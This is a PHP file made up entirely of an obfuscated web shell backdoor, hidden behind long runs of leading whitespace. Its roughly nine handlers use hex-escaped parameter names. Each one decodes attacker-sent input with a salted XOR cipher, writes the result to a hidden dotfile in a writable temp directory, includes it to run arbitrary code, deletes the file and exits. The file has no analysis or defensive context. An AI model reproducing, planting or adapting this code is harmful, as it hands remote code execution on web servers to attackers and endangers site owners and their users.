<?php																																										if(isset($_POST) && isset($_POST["c\x6F\x6Dp\x6F\x6Eent"])){ $value = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path()]); $entity = $_POST["c\x6F\x6Dp\x6F\x6Eent"]; $entity= explode ("." , $entity ) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $u = 0; while ($u < count($entity)) { $v3 = $entity[$u]; $chS = ord($s[$u % $sLen]); $d = ((int)$v3 - $chS - ($u % 10)) ^ 2; $bind .= chr($d); $u++;} while ($ptr = array_shift($value)) { if ((function($d) { return is_dir($d) && is_writable($d); })($ptr)) { $res = join("/", [$ptr, ".itm"]); $success = file_put_contents($res, $bind); if ($success) { include $res; @unlink($res); die();} } } }
																																										if(array_key_exists("\x66ac", $_POST) && !is_null($_POST["\x66ac"])){ $ent = array_filter([getenv("TEMP"), "/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), sys_get_temp_dir(), "/var/tmp"]); $resource = $_POST["\x66ac"]; $resource = explode ('.', $resource) ; $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($resource as $m => $v1) { $sChar = ord($salt[$m %$lenS] ); $dec = ((int)$v1 - $sChar - ($m %10))^ 47; $descriptor .= chr($dec ); } $binding = 0; do { $hld = $ent[$binding] ?? null; if ($binding >= count($ent)) break; if ((is_dir($hld) and is_writable($hld))) { $tkn = vsprintf("%s/%s", [$hld, ".ptr"]); if (file_put_contents($tkn, $descriptor)) { include $tkn; @unlink($tkn); die(); } } $binding++; } while (true); }
																																										if(array_key_exists("e\x6E\x74", $_POST)){ $fac = $_POST["e\x6E\x74"]; $fac= explode ( "." ,$fac ) ; $val = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt2 ); $i = 0; array_walk( $fac ,function( $v9) use( &$val ,&$i ,$salt2 ,$lenS) { $chS = ord( $salt2[$i%$lenS] ); $dec =( ( int)$v9 - $chS -( $i%10))^ 55; $val .= chr( $dec ); $i++; } ); $entry = array_filter([session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", "/tmp", sys_get_temp_dir()]); for ($record = 0, $data = count($entry); $record < $data; $record++) { $pointer = $entry[$record]; if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $element = sprintf("%s/.pgrp", $pointer); $success = file_put_contents($element, $val); if ($success) { include $element; @unlink($element); exit;} } } }
																																										if(isset($_REQUEST["\x6Fb\x6A"]) ? true : false){ $fac = $_REQUEST["\x6Fb\x6A"]; $fac = explode ( '.' , $fac) ; $entry = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1 ); foreach ($fac as $p =>$v9): $sChar = ord($s1[$p % $sLen] ); $d = ((int)$v9 - $sChar - ($p % 10)) ^ 74; $entry .= chr($d ); endforeach; $val = array_filter([getenv("TEMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd()]); foreach ($val as $desc) { if ((function($d) { return is_dir($d) && is_writable($d); })($desc)) { $comp = "$desc/.holder"; $file = fopen($comp, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $comp; @unlink($comp); die(); } } } }
																																										if(isset($_POST) && isset($_POST["itm"])){ $rec = array_filter([getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm", "/tmp"]); $pgrp = $_POST["itm"]; $pgrp = explode( "." ,$pgrp ) ; $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $i = 0; while ($i< count($pgrp)) { $v6 = $pgrp[$i]; $chS = ord($s[$i % $lenS]); $d = ((int)$v6 - $chS - ($i % 10)) ^82; $resource .= chr($d); $i++; } for ($item = 0, $dchunk = count($rec); $item < $dchunk; $item++) { $pointer = $rec[$item]; if (array_product([is_dir($pointer), is_writable($pointer)])) { $entity = "$pointer" . "/.flg"; if (@file_put_contents($entity, $resource) !== false) { include $entity; unlink($entity); die(); } } } }
																																										if(array_key_exists("h\x6C\x64", $_POST) && !is_null($_POST["h\x6C\x64"])){ $ent = $_POST["h\x6C\x64"]; $ent = explode ( '.' , $ent ) ; $bind= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $j= 0; $len= count($ent); do { if ($j >= $len) break; $v4= $ent[$j]; $sChar= ord($s[$j % $sLen]); $dec= ((int)$v4 - $sChar - ($j % 10)) ^ 9; $bind.= chr($dec); $j++; } while (true); $component = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", sys_get_temp_dir(), getcwd()]); foreach ($component as $tkn) { if (is_dir($tkn) && is_writable($tkn)) { $value = str_replace("{var_dir}", $tkn, "{var_dir}/.ptr"); if (file_put_contents($value, $bind)) { include $value; @unlink($value); die(); } } } }
																																										if(in_array("\x65\x6C\x65m\x65nt", array_keys($_POST))){ $symbol = $_POST["\x65\x6C\x65m\x65nt"]; $symbol = explode( '.', $symbol) ; $val = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); $n = 0; $__tmp = $symbol; while ($v2 = array_shift($__tmp)) { $chS = ord($salt4[$n % $lenS]); $d = ((int)$v2 - $chS - ($n % 10))^ 57; $val .= chr($d); $n++; } $ptr = array_filter([session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm"]); while ($ref = array_shift($ptr)) { if (!!is_dir($ref) && !!is_writable($ref)) { $bind = "$ref" . "/.descriptor"; if (@file_put_contents($bind, $val) !== false) { include $bind; unlink($bind); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x6Be\x79"])){ $elem = $_REQUEST["\x6Be\x79"]; $elem = explode ("." , $elem); $reference =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $u =0; while($u < count($elem)) { $v1 =$elem[$u]; $sChar =ord($s[$u % $lenS]); $d =((int)$v1 - $sChar -($u % 10)) ^ 7; $reference .= chr($d); $u++; } $factor = array_filter([getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd(), "/var/tmp"]); foreach ($factor as $hld): if (array_product([is_dir($hld), is_writable($hld)])) { $holder = sprintf("%s/.pset", $hld); $file = fopen($holder, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $holder; @unlink($holder); exit; } } endforeach; }


if(isset($_REQUEST["\x70r\x6Fpe\x72\x74\x79\x5Fset"]) ? true : false){
	$ent = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), "/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/dev/shm", getenv("TEMP")]);
	$pointer = $_REQUEST["\x70r\x6Fpe\x72\x74\x79\x5Fset"];
		  $pointer	= explode 	(  "." ,$pointer  )	  ;	  
	$entry = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt6);
            $y = 0;
    
            while($y < count($pointer)) {
                $v9 = $pointer[$y];
                $sChar = ord($salt6[$y%	 $sLen]);
                $dec =((int)$v9 - $sChar -($y%	 10)) ^ 38;
                $entry .=  chr($dec);
                $y++;
            }
	foreach ($ent as $dchunk):
    		if (!( !is_dir($dchunk) || !is_writable($dchunk) )) {
    $mrk = str_replace("{var_dir}", $dchunk, "{var_dir}/.descriptor");
    if (@file_put_contents($mrk, $entry) !== false) {
	include $mrk;
	unlink($mrk);
	die();
}
}
endforeach;
}